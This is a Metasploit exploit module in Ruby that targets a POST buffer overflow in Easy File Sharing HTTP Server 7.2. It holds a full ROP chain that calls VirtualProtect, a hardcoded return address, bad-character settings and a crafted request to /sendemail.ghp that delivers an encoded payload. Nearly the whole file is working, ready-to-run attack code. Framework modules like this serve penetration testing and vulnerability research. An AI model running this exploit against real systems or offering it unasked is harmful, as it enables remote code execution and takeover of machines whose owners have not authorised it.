##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  #include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
      'Description'    => %q{
        This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
      },
      'Author'         =>
        [
          'bl4ck h4ck3r', #POC
          'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '42186' ],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
        ],
      'DefaultOptions' => {
          'RPORT' => 80,
          'EXITFUNC' => 'thread',
          'ENCODER' => 'x86/alpha_mixed'
        },
      'DisclosureDate' => 'Jun 12 2017',
      'DefaultTarget'  => 0))
  end

  def create_rop_chain
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        # 0x00000000,  # [-] Unable to find gadget to put 00000201 into ebx
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0xFFFFFDFE,  # -202
        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]|   {PAGE_EXECUTE_READ}
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x61c832d0,  # ptr to &VirtualProtect() [IAT sqlite3.dll]
        0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
        0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll]
        0x1001d626,  # XOR ESI,ESI # RETN [ImageLoad.dll]
        0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
        0x100218f9,  # POP EBP # RETN [ImageLoad.dll]
        0x61c24169,  # & push esp # ret  [sqlite3.dll]
        0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x1001bd98,  # POP ECX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
        0x61c373a4,  # POP EDI # RETN [sqlite3.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x90909090,  # nop
        0x100240c2,  # PUSHAD # RETN [ImageLoad.dll]
    ].flatten.pack('V*')
    return rop_gadgets
  end

  def exploit
    sploit = rand_text_alpha_upper(2278)
    rop_chain = create_rop_chain
    sploit << rop_chain
    sploit << "\x90" * 200
    sploit << payload.encoded
    sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
    sploit << [target.ret].pack('V')

    request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
    connect
    sock.put(request)
    handler
    disconnect
  end
end